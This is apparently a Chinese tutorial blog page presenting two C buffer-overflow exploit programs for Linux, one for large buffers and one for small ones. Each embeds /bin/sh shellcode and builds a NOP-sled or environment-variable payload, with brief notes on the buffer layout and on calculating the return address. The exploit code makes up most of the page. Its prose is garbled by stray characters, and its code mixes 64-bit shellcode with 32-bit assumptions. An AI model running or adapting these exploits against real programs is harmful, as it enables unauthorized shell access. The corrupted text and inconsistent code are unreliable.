黑客攻防入門(五)通用的緩沖區(qū)漏洞攻擊代碼

一茉贡、 緩沖區(qū)足夠大的情形

下面的代碼是網(wǎng)上眾多緩沖區(qū)溢出攻擊代碼的一個(gè)變種,它可以進(jìn)行很多場(chǎng)合下的漏洞攻擊当船。

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

char shellcode[] =  /* shellcode exec /bin/sh */
    "\xeb\x2b\x59\x55\x48\x89\xe5\x48"
    "\x83\xec\x20\x48\x89\x4d\xf0\x48"
    "\xc7\x45\xf8\x00\x00\x00\x00\xba"
    "\x00\x00\x00\x00\x48\x8d\x75\xf0"
    "\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b"
    "\x00\x00\x00\x0f\x05\xe8\xd0\xff"
    "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

unsigned long get_sp(void) {
    __asm__("movl %esp, %eax"); /* return rsp */
}

int main(int argc, char *argv[])
{
    int i, offset = 0;
    unsigned long sp, ret, *addr_ptr;
    char *prg, *prgpath, *buffer, *ptr;
    int size = 500;  /* default buffer size */

    sp = get_sp();  /* local sp value */

    if(argc > 1)
        prg = argv[1]; /* app name be exploited */

if(argc > 2)
        prgpath = argv[2]; /* app path be exploited */

    if(argc > 3)
        size = atoi(argv[3]);

    if(argc > 4)
        offset = atoi(argv[4]);

    if(argc > 5)
        sp = strtoul(argv[5], NULL, 0);  /* input sp for remote exploits */

    ret = sp - offset;

    buffer = (char *)malloc(size);

    ptr = buffer;

    addr_ptr = (unsigned long *) ptr;

    /* fill entire buffer with return addresses, ensures proper alignment */
    for(i=0; i < size; i+=4) {
        *(addr_ptr++) = ret;
    }

    /* fill 1st half of exploit buffer with NOPs */
    for(i=0; i < size/2; i++) {
        buffer[i] = '\x90';
    }

    /* place shellcode. start at the middle of the buffer */
    ptr = buffer + size/2;
    for(i=0; i < strlen(shellcode); i++) {
        *(ptr++) = shellcode[i];
    }

    buffer[size-1] = '\0';

    execl(prgpath, prg, buffer, (char*) 0);

    free(buffer);

    return 0;
}

上面這段代碼主要作用是取代手工注入沦零,代碼運(yùn)行基于32位的linux系統(tǒng)来破,buffer size預(yù)設(shè)為500字節(jié),建設(shè)緩沖區(qū)不要少于500byte忘古, 如果太小了就會(huì)裝不下shellcode徘禁。

代碼的參數(shù)1是將要攻擊的程序的路徑,參數(shù)2是將要攻擊的程序的程序名稱髓堪,參數(shù)3是緩沖區(qū)大小送朱,參數(shù)4是調(diào)整地址對(duì)齊的偏移地址,參數(shù)5用于手工輸入esp(這是緩沖區(qū)存儲(chǔ)的地址范圍)干旁。

這段代碼的注入模式是:NOPs+Shellcode+addr驶沼。

先用NOPs填充緩沖區(qū)開頭的一半空間,這樣更方便控制EIP(cpu指令指針)争群,即使addr是一個(gè)大概的地址回怜,也能成功的通過NOPs滑動(dòng)至達(dá)shellcode的地址。

后面用addr填充就是確保能夠覆蓋保存的返回地址换薄, 其中地址的對(duì)齊方式是4字節(jié)玉雾,可以通過程序的argv參數(shù)去控制offset偏移,精準(zhǔn)的覆蓋返回地址的前題是要正確對(duì)齊地址轻要。

二复旬、 緩沖區(qū)很小的情況

如果緩沖區(qū)只有10來個(gè)字節(jié),不夠安放shecode時(shí)冲泥,可以用環(huán)境變量的方法用存放shellcode驹碍,下面的代碼用來實(shí)施小緩沖區(qū)漏洞攻擊壁涎。

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

#define SIZE 128

char shellcode[] =  /* shellcode exec /bin/sh */
    "\xeb\x2b\x59\x55\x48\x89\xe5\x48"
    "\x83\xec\x20\x48\x89\x4d\xf0\x48"
    "\xc7\x45\xf8\x00\x00\x00\x00\xba"
    "\x00\x00\x00\x00\x48\x8d\x75\xf0"
    "\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b"
    "\x00\x00\x00\x0f\x05\xe8\xd0\xff"
    "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";


int main(int argc, char *argv[])
{
    char *prg, *prgpath, p[SIZE];
    int *ptr, i, addr, offset = 0;

    char *env[] = {shellcode, NULL};

    if(argc > 1)
        prg = argv[1]; /* app name be exploited */

    if(argc > 2)
        prgpath = argv[2]; /* app path be exploited */

    if(argc > 3)
        offset = atoi(argv[3]); /* app path be exploited */

    addr = 0xbffffffa - strlen(shellcode) - strlen(prg); /* calculate the exact location of the shellcode*/

    ptr = (int *) (p + offset); /*fill buffer with computed address, start offset bytes into array for stack alignment*/

    for(i = 0; i < SIZE; i+=4) {
        *ptr++ = addr;
    }

    execle(prgpath, prg, p, NULL, env);

    exit(1);
}

上面的代碼涉及一個(gè)地址計(jì)算公式,這個(gè)公式是由Murat Balaban發(fā)現(xiàn)的志秃, 這依賴于以下事實(shí):即所有Linux ELF文件在映射到內(nèi)存中時(shí)會(huì)將最后的相對(duì)地址設(shè)為0xbfffffff怔球。參考linux程序運(yùn)行內(nèi)存布局可知,環(huán)境變量和參數(shù)就是存儲(chǔ)在這個(gè)區(qū)域的洽损。

這個(gè)公式是:

shellcode = 0xbfffffff - 0x4 - length(program name) - length(shellcode)

以下是示意圖庞溜,基于linux的32位系統(tǒng):

示意圖

參考文章:

  1. Gray Hat Hacking, The Ethical Hacker's Handbook
  2. Computer Systems
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市碑定,隨后出現(xiàn)的幾起案子流码,更是在濱河造成了極大的恐慌,老刑警劉巖延刘,帶你破解...
    沈念sama閱讀 211,123評(píng)論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件漫试,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡碘赖,警方通過查閱死者的電腦和手機(jī)驾荣,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,031評(píng)論 2 384
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來普泡,“玉大人播掷,你說我怎么就攤上這事『嘲啵” “怎么了歧匈?”我有些...
    開封第一講書人閱讀 156,723評(píng)論 0 345
  • 文/不壞的土叔 我叫張陵,是天一觀的道長砰嘁。 經(jīng)常有香客問我件炉,道長,這世上最難降的妖魔是什么矮湘? 我笑而不...
    開封第一講書人閱讀 56,357評(píng)論 1 283
  • 正文 為了忘掉前任斟冕,我火速辦了婚禮,結(jié)果婚禮上缅阳,老公的妹妹穿的比我還像新娘磕蛇。我一直安慰自己,他們只是感情好十办,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,412評(píng)論 5 384
  • 文/花漫 我一把揭開白布孤里。 她就那樣靜靜地躺著,像睡著了一般橘洞。 火紅的嫁衣襯著肌膚如雪捌袜。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,760評(píng)論 1 289
  • 那天炸枣,我揣著相機(jī)與錄音虏等,去河邊找鬼弄唧。 笑死,一個(gè)胖子當(dāng)著我的面吹牛霍衫,可吹牛的內(nèi)容都是我干的候引。 我是一名探鬼主播,決...
    沈念sama閱讀 38,904評(píng)論 3 405
  • 文/蒼蘭香墨 我猛地睜開眼敦跌,長吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼澄干!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起柠傍,我...
    開封第一講書人閱讀 37,672評(píng)論 0 266
  • 序言:老撾萬榮一對(duì)情侶失蹤麸俘,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后惧笛,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體从媚,經(jīng)...
    沈念sama閱讀 44,118評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,456評(píng)論 2 325
  • 正文 我和宋清朗相戀三年患整,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了拜效。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,599評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡各谚,死狀恐怖紧憾,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情昌渤,我是刑警寧澤赴穗,帶...
    沈念sama閱讀 34,264評(píng)論 4 328
  • 正文 年R本政府宣布,位于F島的核電站愈涩,受9級(jí)特大地震影響望抽,放射性物質(zhì)發(fā)生泄漏加矛。R本人自食惡果不足惜履婉,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,857評(píng)論 3 312
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望斟览。 院中可真熱鬧毁腿,春花似錦、人聲如沸苛茂。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,731評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽妓羊。三九已至胯究,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間躁绸,已是汗流浹背裕循。 一陣腳步聲響...
    開封第一講書人閱讀 31,956評(píng)論 1 264
  • 我被黑心中介騙來泰國打工臣嚣, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人剥哑。 一個(gè)月前我還...
    沈念sama閱讀 46,286評(píng)論 2 360
  • 正文 我出身青樓硅则,卻偏偏與公主長得像,于是被迫代替她去往敵國和親株婴。 傳聞我的和親對(duì)象是個(gè)殘疾皇子怎虫,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,465評(píng)論 2 348

推薦閱讀更多精彩內(nèi)容

  • 緩沖區(qū)溢出(Buffer Overflow)是計(jì)算機(jī)安全領(lǐng)域內(nèi)既經(jīng)典而又古老的話題。隨著計(jì)算機(jī)系統(tǒng)安全性的加強(qiáng)困介,傳...
    Chivalrous閱讀 1,330評(píng)論 0 5
  • 1. 概說 緩沖區(qū)溢出又叫堆棧溢出(還有許許多的稱呼)大审,這是計(jì)算機(jī)程序難以避免的漏洞,除非有新的設(shè)計(jì)方式將程序運(yùn)行...
    讀書郞閱讀 5,641評(píng)論 4 27
  • 概說 現(xiàn)代的編譯器和系統(tǒng)已經(jīng)實(shí)現(xiàn)了很多機(jī)制逻翁,避免受到緩沖區(qū)溢出的攻擊饥努,下面介紹Linux上比較新版本的GCC所提供...
    讀書郞閱讀 2,148評(píng)論 0 1
  • “幸福的種子,也只是一粒種子”八回,寫下傷感的這一句話酷愧、松開握緊種子的那只手。 這是一本有關(guān)兒童閱讀的書缠诅,除了上次我寫...
    樂讀書房_李葵閱讀 540評(píng)論 1 5
  • 你想現(xiàn)在感受到天國里的生活嗎溶浴?若想就開始想你回到了家,你認(rèn)了錯(cuò)管引,神開始親你士败,喜歡你!給你擁抱褥伴,給你平安谅将,為你殺了牛...
    洪恩臨到閱讀 124評(píng)論 0 0